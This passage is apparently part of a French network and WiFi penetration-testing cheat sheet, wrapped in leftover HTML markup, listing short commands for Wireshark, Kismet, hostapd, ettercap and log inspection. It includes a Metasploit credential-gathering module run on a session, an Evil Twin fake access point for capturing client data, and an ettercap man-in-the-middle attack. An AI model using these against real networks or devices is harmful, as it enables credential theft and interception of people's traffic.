    <div class="relative rounded-md bg-black/60 border border-white/10 codeblock-container _container_1uhmg_1" style="box-sizing: border-box; border: 1px solid oklab(0.999994 0.0000455678 0.0000200868 / 0.1); margin: 0.75rem 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); position: relative; border-radius: 6px; background-color: oklab(0 0 0 / 0.6); width: 758px; overflow-anchor: none;"><div class="cm-theme" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5);"><div class="cm-editor ͼ1 ͼ3 ͼ4 ͼ48 ͼo" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); flex-direction: column; position: relative !important; display: flex !important; color: rgb(171, 178, 191); background-color: transparent !important; height: auto; max-height: 500px; width: 756px; font-family: 'Fira Code', 'Courier New', monospace; font-size: 0.9rem;"><div aria-live="polite" class="cm-announced" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); position: fixed; top: -10000px;">  
    </div><div class="cm-scroller" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); font-family: monospace; line-height: 1.4; height: 82.4688px; overflow: auto; position: relative; z-index: 0; overflow-anchor: none; display: flex !important; align-items: flex-start !important; padding: 0px 0px 0px !important 0px; margin: 0px 0px 0px !important 0px;" tabindex="-1"><div aria-multiline="true" autocapitalize="none" autocorrect="off" class="cm-content" contenteditable="true" role="textbox" spellcheck="false" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 12px 14px 10px; outline: none; flex-grow: 2; flex-shrink: 0; display: block; white-space: pre; overflow-wrap: normal; min-height: 100%; caret-color: transparent !important; -webkit-user-modify: read-write-plaintext-only; tab-size: 4;" translate="no" writingsuggestions="false"><div class="cm-line" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px 2px 0px 6px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); display: block; caret-color: transparent !important;"><span style="color: rgb(0, 0, 0);">use post/windows/gather/credentials</span></div><div class="cm-line" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px 2px 0px 6px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); display: block; caret-color: transparent !important;"><span style="color: rgb(0, 0, 0);">set SESSION &lt;session\_id&gt;</span></div><div class="cm-line" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px 2px 0px 6px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); display: block; caret-color: transparent !important;"><span style="color: rgb(0, 0, 0);">run</span></div></div><div aria-hidden="true" class="cm-layer cm-layer-above cm-cursorLayer" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); position: absolute; left: 0px; top: 0px; contain: size style; pointer-events: none; z-index: 150; animation-duration: 1200ms;">  
    </div><div aria-hidden="true" class="cm-layer cm-selectionLayer" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); position: absolute; left: 0px; top: 0px; contain: size style; z-index: -2;">  
    </div></div></div></div><button aria-label="Copy code" class="absolute top-2 right-2 z-10 opacity-80 hover:opacity-100 transition-opacity bg-white/10 hover:bg-white/20 border border-white/20 rounded p-1" style="box-sizing: border-box; border: 1px solid oklab(0.999994 0.0000455678 0.0000200868 / 0.2); margin: 0px; padding: 4px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); font: inherit; letter-spacing: inherit; opacity: 0.8; background-color: oklab(0.999994 0.0000455678 0.0000200868 / 0.1); border-radius: 0.25rem; appearance: button; position: absolute; top: 8px; right: 8px; z-index: 10; transition-property: opacity; transition-timing-function: cubic-bezier(0.4, 0, 0.2, 1); transition-duration: 0.15s;" type="button"><svg aria-hidden="true" class="lucide lucide-copy" fill="none" height="16" stroke="currentColor" stroke-linecap="round" stroke-linejoin="round" stroke-width="2" viewbox="0 0 24 24" width="16" xmlns="http://www.w3.org/2000/svg"></svg></button></div>

### <span style="color: rgb(0, 0, 0);">10. **Capture des paquets avec Wireshark**</span>

- <span style="color: rgb(0, 0, 0);">**Commande :** `wireshark`</span>
- <span style="color: rgb(0, 0, 0);">**Description :** Utilisez Wireshark pour capturer et analyser les paquets réseau en temps réel. Cela peut aider à identifier des vulnérabilités spécifiques et à comprendre le trafic réseau.</span>
- <span style="color: rgb(0, 0, 0);">**Exemple :**</span>
    
    <div class="relative rounded-md bg-black/60 border border-white/10 codeblock-container _container_1uhmg_1" style="box-sizing: border-box; border: 1px solid oklab(0.999994 0.0000455678 0.0000200868 / 0.1); margin: 0.75rem 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); position: relative; border-radius: 6px; background-color: oklab(0 0 0 / 0.6); width: 758px; overflow-anchor: none;"><div class="cm-theme" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5);"><div class="cm-editor ͼ1 ͼ3 ͼ4 ͼ49 ͼo" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); flex-direction: column; position: relative !important; display: flex !important; color: rgb(171, 178, 191); background-color: transparent !important; height: auto; max-height: 500px; width: 756px; font-family: 'Fira Code', 'Courier New', monospace; font-size: 0.9rem;"><div aria-live="polite" class="cm-announced" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); position: fixed; top: -10000px;">  
    </div><div class="cm-scroller" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); font-family: monospace; line-height: 1.4; height: 42.1562px; overflow: auto; position: relative; z-index: 0; overflow-anchor: none; display: flex !important; align-items: flex-start !important; padding: 0px 0px 0px !important 0px; margin: 0px 0px 0px !important 0px;" tabindex="-1"><div aria-multiline="true" autocapitalize="none" autocorrect="off" class="cm-content" contenteditable="true" role="textbox" spellcheck="false" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 12px 14px 10px; outline: none; flex-grow: 2; flex-shrink: 0; display: block; white-space: pre; overflow-wrap: normal; min-height: 100%; caret-color: transparent !important; -webkit-user-modify: read-write-plaintext-only; tab-size: 4;" translate="no" writingsuggestions="false"><div class="cm-line" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px 2px 0px 6px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); display: block; caret-color: transparent !important;"><span style="color: rgb(0, 0, 0);">wireshark</span></div></div><div aria-hidden="true" class="cm-layer cm-layer-above cm-cursorLayer" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); position: absolute; left: 0px; top: 0px; contain: size style; pointer-events: none; z-index: 150; animation-duration: 1200ms;">  
    </div><div aria-hidden="true" class="cm-layer cm-selectionLayer" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); position: absolute; left: 0px; top: 0px; contain: size style; z-index: -2;">  
    </div></div></div></div><button aria-label="Copy code" class="absolute top-2 right-2 z-10 opacity-80 hover:opacity-100 transition-opacity bg-white/10 hover:bg-white/20 border border-white/20 rounded p-1" style="box-sizing: border-box; border: 1px solid oklab(0.999994 0.0000455678 0.0000200868 / 0.2); margin: 0px; padding: 4px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); font: inherit; letter-spacing: inherit; opacity: 0.8; background-color: oklab(0.999994 0.0000455678 0.0000200868 / 0.1); border-radius: 0.25rem; appearance: button; position: absolute; top: 8px; right: 8px; z-index: 10; transition-property: opacity; transition-timing-function: cubic-bezier(0.4, 0, 0.2, 1); transition-duration: 0.15s;" type="button"><svg aria-hidden="true" class="lucide lucide-copy" fill="none" height="16" stroke="currentColor" stroke-linecap="round" stroke-linejoin="round" stroke-width="2" viewbox="0 0 24 24" width="16" xmlns="http://www.w3.org/2000/svg"></svg></button></div>

### <span style="color: rgb(0, 0, 0);">11. **Attaque de type Evil Twin**</span>

- <span style="color: rgb(0, 0, 0);">**Commande :** `hostapd`</span>
- <span style="color: rgb(0, 0, 0);">**Description :** Créez un faux point d'accès WiFi pour capturer les données des clients connectés.</span>
- <span style="color: rgb(0, 0, 0);">**Exemple :**</span>
    
    <div class="relative rounded-md bg-black/60 border border-white/10 codeblock-container _container_1uhmg_1" style="box-sizing: border-box; border: 1px solid oklab(0.999994 0.0000455678 0.0000200868 / 0.1); margin: 0.75rem 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); position: relative; border-radius: 6px; background-color: oklab(0 0 0 / 0.6); width: 758px; overflow-anchor: none;"><div class="cm-theme" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5);"><div class="cm-editor ͼ1 ͼ3 ͼ4 ͼ4a ͼo" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); flex-direction: column; position: relative !important; display: flex !important; color: rgb(171, 178, 191); background-color: transparent !important; height: auto; max-height: 500px; width: 756px; font-family: 'Fira Code', 'Courier New', monospace; font-size: 0.9rem;"><div aria-live="polite" class="cm-announced" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); position: fixed; top: -10000px;">  
    </div><div class="cm-scroller" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); font-family: monospace; line-height: 1.4; height: 42.1562px; overflow: auto; position: relative; z-index: 0; overflow-anchor: none; display: flex !important; align-items: flex-start !important; padding: 0px 0px 0px !important 0px; margin: 0px 0px 0px !important 0px;" tabindex="-1"><div aria-multiline="true" autocapitalize="none" autocorrect="off" class="cm-content" contenteditable="true" role="textbox" spellcheck="false" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 12px 14px 10px; outline: none; flex-grow: 2; flex-shrink: 0; display: block; white-space: pre; overflow-wrap: normal; min-height: 100%; caret-color: transparent !important; -webkit-user-modify: read-write-plaintext-only; tab-size: 4;" translate="no" writingsuggestions="false"><div class="cm-line" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px 2px 0px 6px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); display: block; caret-color: transparent !important;"><span style="color: rgb(0, 0, 0);">hostapd /etc/hostapd.conf</span></div></div><div aria-hidden="true" class="cm-layer cm-layer-above cm-cursorLayer" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); position: absolute; left: 0px; top: 0px; contain: size style; pointer-events: none; z-index: 150; animation-duration: 1200ms;">  
    </div><div aria-hidden="true" class="cm-layer cm-selectionLayer" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); position: absolute; left: 0px; top: 0px; contain: size style; z-index: -2;">  
    </div></div></div></div><button aria-label="Copy code" class="absolute top-2 right-2 z-10 opacity-80 hover:opacity-100 transition-opacity bg-white/10 hover:bg-white/20 border border-white/20 rounded p-1" style="box-sizing: border-box; border: 1px solid oklab(0.999994 0.0000455678 0.0000200868 / 0.2); margin: 0px; padding: 4px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); font: inherit; letter-spacing: inherit; opacity: 0.8; background-color: oklab(0.999994 0.0000455678 0.0000200868 / 0.1); border-radius: 0.25rem; appearance: button; position: absolute; top: 8px; right: 8px; z-index: 10; transition-property: opacity; transition-timing-function: cubic-bezier(0.4, 0, 0.2, 1); transition-duration: 0.15s;" type="button"><svg aria-hidden="true" class="lucide lucide-copy" fill="none" height="16" stroke="currentColor" stroke-linecap="round" stroke-linejoin="round" stroke-width="2" viewbox="0 0 24 24" width="16" xmlns="http://www.w3.org/2000/svg"></svg></button></div>

### <span style="color: rgb(0, 0, 0);">12. **Analyse des fichiers de configuration**</span>

- <span style="color: rgb(0, 0, 0);">**Commande :** `cat`</span>
- <span style="color: rgb(0, 0, 0);">**Description :** Examinez les fichiers de configuration des réseaux WiFi pour identifier des informations sensibles ou des vulnérabilités.</span>
- <span style="color: rgb(0, 0, 0);">**Exemple :**</span>
    
    <div class="relative rounded-md bg-black/60 border border-white/10 codeblock-container _container_1uhmg_1" style="box-sizing: border-box; border: 1px solid oklab(0.999994 0.0000455678 0.0000200868 / 0.1); margin: 0.75rem 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); position: relative; border-radius: 6px; background-color: oklab(0 0 0 / 0.6); width: 758px; overflow-anchor: none;"><div class="cm-theme" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5);"><div class="cm-editor ͼ1 ͼ3 ͼ4 ͼ4b ͼo" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); flex-direction: column; position: relative !important; display: flex !important; color: rgb(171, 178, 191); background-color: transparent !important; height: auto; max-height: 500px; width: 756px; font-family: 'Fira Code', 'Courier New', monospace; font-size: 0.9rem;"><div aria-live="polite" class="cm-announced" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); position: fixed; top: -10000px;">  
    </div><div class="cm-scroller" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); font-family: monospace; line-height: 1.4; height: 42.1562px; overflow: auto; position: relative; z-index: 0; overflow-anchor: none; display: flex !important; align-items: flex-start !important; padding: 0px 0px 0px !important 0px; margin: 0px 0px 0px !important 0px;" tabindex="-1"><div aria-multiline="true" autocapitalize="none" autocorrect="off" class="cm-content" contenteditable="true" role="textbox" spellcheck="false" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 12px 14px 10px; outline: none; flex-grow: 2; flex-shrink: 0; display: block; white-space: pre; overflow-wrap: normal; min-height: 100%; caret-color: transparent !important; -webkit-user-modify: read-write-plaintext-only; tab-size: 4;" translate="no" writingsuggestions="false"><div class="cm-line" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px 2px 0px 6px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); display: block; caret-color: transparent !important;"><span style="color: rgb(0, 0, 0);">cat /etc/hostapd.conf</span></div></div><div aria-hidden="true" class="cm-layer cm-layer-above cm-cursorLayer" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); position: absolute; left: 0px; top: 0px; contain: size style; pointer-events: none; z-index: 150; animation-duration: 1200ms;">  
    </div><div aria-hidden="true" class="cm-layer cm-selectionLayer" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); position: absolute; left: 0px; top: 0px; contain: size style; z-index: -2;">  
    </div></div></div></div><button aria-label="Copy code" class="absolute top-2 right-2 z-10 opacity-80 hover:opacity-100 transition-opacity bg-white/10 hover:bg-white/20 border border-white/20 rounded p-1" style="box-sizing: border-box; border: 1px solid oklab(0.999994 0.0000455678 0.0000200868 / 0.2); margin: 0px; padding: 4px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); font: inherit; letter-spacing: inherit; opacity: 0.8; background-color: oklab(0.999994 0.0000455678 0.0000200868 / 0.1); border-radius: 0.25rem; appearance: button; position: absolute; top: 8px; right: 8px; z-index: 10; transition-property: opacity; transition-timing-function: cubic-bezier(0.4, 0, 0.2, 1); transition-duration: 0.15s;" type="button"><svg aria-hidden="true" class="lucide lucide-copy" fill="none" height="16" stroke="currentColor" stroke-linecap="round" stroke-linejoin="round" stroke-width="2" viewbox="0 0 24 24" width="16" xmlns="http://www.w3.org/2000/svg"></svg></button></div>

### <span style="color: rgb(0, 0, 0);">13. **Utilisation de Kismet**</span>

- <span style="color: rgb(0, 0, 0);">**Commande :** `kismet`</span>
- <span style="color: rgb(0, 0, 0);">**Description :** Kismet est un outil de détection et d'analyse des réseaux sans fil. Il peut être utilisé pour scanner les réseaux WiFi et détecter les vulnérabilités.</span>
- <span style="color: rgb(0, 0, 0);">**Exemple :**</span>
    
    <div class="relative rounded-md bg-black/60 border border-white/10 codeblock-container _container_1uhmg_1" style="box-sizing: border-box; border: 1px solid oklab(0.999994 0.0000455678 0.0000200868 / 0.1); margin: 0.75rem 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); position: relative; border-radius: 6px; background-color: oklab(0 0 0 / 0.6); width: 758px; overflow-anchor: none;"><div class="cm-theme" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5);"><div class="cm-editor ͼ1 ͼ3 ͼ4 ͼ4c ͼo" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); flex-direction: column; position: relative !important; display: flex !important; color: rgb(171, 178, 191); background-color: transparent !important; height: auto; max-height: 500px; width: 756px; font-family: 'Fira Code', 'Courier New', monospace; font-size: 0.9rem;"><div aria-live="polite" class="cm-announced" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); position: fixed; top: -10000px;">  
    </div><div class="cm-scroller" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); font-family: monospace; line-height: 1.4; height: 42.1562px; overflow: auto; position: relative; z-index: 0; overflow-anchor: none; display: flex !important; align-items: flex-start !important; padding: 0px 0px 0px !important 0px; margin: 0px 0px 0px !important 0px;" tabindex="-1"><div aria-multiline="true" autocapitalize="none" autocorrect="off" class="cm-content" contenteditable="true" role="textbox" spellcheck="false" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 12px 14px 10px; outline: none; flex-grow: 2; flex-shrink: 0; display: block; white-space: pre; overflow-wrap: normal; min-height: 100%; caret-color: transparent !important; -webkit-user-modify: read-write-plaintext-only; tab-size: 4;" translate="no" writingsuggestions="false"><div class="cm-line" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px 2px 0px 6px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); display: block; caret-color: transparent !important;"><span style="color: rgb(0, 0, 0);">kismet</span></div></div><div aria-hidden="true" class="cm-layer cm-layer-above cm-cursorLayer" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); position: absolute; left: 0px; top: 0px; contain: size style; pointer-events: none; z-index: 150; animation-duration: 1200ms;">  
    </div><div aria-hidden="true" class="cm-layer cm-selectionLayer" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); position: absolute; left: 0px; top: 0px; contain: size style; z-index: -2;">  
    </div></div></div></div><button aria-label="Copy code" class="absolute top-2 right-2 z-10 opacity-80 hover:opacity-100 transition-opacity bg-white/10 hover:bg-white/20 border border-white/20 rounded p-1" style="box-sizing: border-box; border: 1px solid oklab(0.999994 0.0000455678 0.0000200868 / 0.2); margin: 0px; padding: 4px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); font: inherit; letter-spacing: inherit; opacity: 0.8; background-color: oklab(0.999994 0.0000455678 0.0000200868 / 0.1); border-radius: 0.25rem; appearance: button; position: absolute; top: 8px; right: 8px; z-index: 10; transition-property: opacity; transition-timing-function: cubic-bezier(0.4, 0, 0.2, 1); transition-duration: 0.15s;" type="button"><svg aria-hidden="true" class="lucide lucide-copy" fill="none" height="16" stroke="currentColor" stroke-linecap="round" stroke-linejoin="round" stroke-width="2" viewbox="0 0 24 24" width="16" xmlns="http://www.w3.org/2000/svg"></svg></button></div>

### <span style="color: rgb(0, 0, 0);">14. **Attaque de type Man-in-the-Middle (MitM)**</span>

- <span style="color: rgb(0, 0, 0);">**Commande :** `ettercap`</span>
- <span style="color: rgb(0, 0, 0);">**Description :** Utilisez Ettercap pour intercepter et manipuler le trafic réseau entre deux parties.</span>
- <span style="color: rgb(0, 0, 0);">**Exemple :**</span>
    
    <div class="relative rounded-md bg-black/60 border border-white/10 codeblock-container _container_1uhmg_1" style="box-sizing: border-box; border: 1px solid oklab(0.999994 0.0000455678 0.0000200868 / 0.1); margin: 0.75rem 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); position: relative; border-radius: 6px; background-color: oklab(0 0 0 / 0.6); width: 758px; overflow-anchor: none;"><div class="cm-theme" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5);"><div class="cm-editor ͼ1 ͼ3 ͼ4 ͼ4d ͼo" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); flex-direction: column; position: relative !important; display: flex !important; color: rgb(171, 178, 191); background-color: transparent !important; height: auto; max-height: 500px; width: 756px; font-family: 'Fira Code', 'Courier New', monospace; font-size: 0.9rem;"><div aria-live="polite" class="cm-announced" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); position: fixed; top: -10000px;">  
    </div><div class="cm-scroller" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); font-family: monospace; line-height: 1.4; height: 42.1562px; overflow: auto; position: relative; z-index: 0; overflow-anchor: none; display: flex !important; align-items: flex-start !important; padding: 0px 0px 0px !important 0px; margin: 0px 0px 0px !important 0px;" tabindex="-1"><div aria-multiline="true" autocapitalize="none" autocorrect="off" class="cm-content" contenteditable="true" role="textbox" spellcheck="false" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 12px 14px 10px; outline: none; flex-grow: 2; flex-shrink: 0; display: block; white-space: pre; overflow-wrap: normal; min-height: 100%; caret-color: transparent !important; -webkit-user-modify: read-write-plaintext-only; tab-size: 4;" translate="no" writingsuggestions="false"><div class="cm-line" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px 2px 0px 6px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); display: block; caret-color: transparent !important;"><span style="color: rgb(0, 0, 0);">ettercap -G</span></div></div><div aria-hidden="true" class="cm-layer cm-layer-above cm-cursorLayer" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); position: absolute; left: 0px; top: 0px; contain: size style; pointer-events: none; z-index: 150; animation-duration: 1200ms;">  
    </div><div aria-hidden="true" class="cm-layer cm-selectionLayer" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); position: absolute; left: 0px; top: 0px; contain: size style; z-index: -2;">  
    </div></div></div></div><button aria-label="Copy code" class="absolute top-2 right-2 z-10 opacity-80 hover:opacity-100 transition-opacity bg-white/10 hover:bg-white/20 border border-white/20 rounded p-1" style="box-sizing: border-box; border: 1px solid oklab(0.999994 0.0000455678 0.0000200868 / 0.2); margin: 0px; padding: 4px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); font: inherit; letter-spacing: inherit; opacity: 0.8; background-color: oklab(0.999994 0.0000455678 0.0000200868 / 0.1); border-radius: 0.25rem; appearance: button; position: absolute; top: 8px; right: 8px; z-index: 10; transition-property: opacity; transition-timing-function: cubic-bezier(0.4, 0, 0.2, 1); transition-duration: 0.15s;" type="button"><svg aria-hidden="true" class="lucide lucide-copy" fill="none" height="16" stroke="currentColor" stroke-linecap="round" stroke-linejoin="round" stroke-width="2" viewbox="0 0 24 24" width="16" xmlns="http://www.w3.org/2000/svg"></svg></button></div>

### <span style="color: rgb(0, 0, 0);">15. **Analyse des logs**</span>

- <span style="color: rgb(0, 0, 0);">**Commande :** `tail`</span>
- <span style="color: rgb(0, 0, 0);">**Description :** Examinez les logs des systèmes pour identifier des activités suspectes ou des vulnérabilités.</span>
- <span style="color: rgb(0, 0, 0);">**Exemple :**</span>
    
    <div class="relative rounded-md bg-black/60 border border-white/10 codeblock-container _container_1uhmg_1" style="box-sizing: border-box; border: 1px solid oklab(0.999994 0.0000455678 0.0000200868 / 0.1); margin: 0.75rem 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); position: relative; border-radius: 6px; background-color: oklab(0 0 0 / 0.6); width: 758px; overflow-anchor: none;"><div class="cm-theme" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5);"><div class="cm-editor ͼ1 ͼ3 ͼ4 ͼ4e ͼo" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); flex-direction: column; position: relative !important; display: flex !important; color: rgb(171, 178, 191); background-color: transparent !important; height: auto; max-height: 500px; width: 756px; font-family: 'Fira Code', 'Courier New', monospace; font-size: 0.9rem;"><div aria-live="polite" class="cm-announced" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); position: fixed; top: -10000px;">  
    </div><div class="cm-scroller" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); font-family: monospace; line-height: 1.4; height: 42.1562px; overflow: auto; position: relative; z-index: 0; overflow-anchor: none; display: flex !important; align-items: flex-start !important; padding: 0px 0px 0px !important 0px; margin: 0px 0px 0px !important 0px;" tabindex="-1"><div aria-multiline="true" autocapitalize="none" autocorrect="off" class="cm-content" contenteditable="true" role="textbox" spellcheck="false" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 12px 14px 10px; outline: none; flex-grow: 2; flex-shrink: 0; display: block; white-space: pre; overflow-wrap: normal; min-height: 100%; caret-color: transparent !important; -webkit-user-modify: read-write-plaintext-only; tab-size: 4;" translate="no" writingsuggestions="false"><div class="cm-line" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px 2px 0px 6px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); display: block; caret-color: transparent !important;"><span style="color: rgb(0, 0, 0);">tail -f /var/log/syslog</span></div></div><div aria-hidden="true" class="cm-layer cm-layer-above cm-cursorLayer" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); position: absolute; left: 0px; top: 0px; contain: size style; pointer-events: none; z-index: 150; animation-duration: 1200ms;">  
    </div><div aria-hidden="true" class="cm-layer cm-selectionLayer" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); position: absolute; left: 0px; top: 0px; contain: size style; z-index: -2;">  
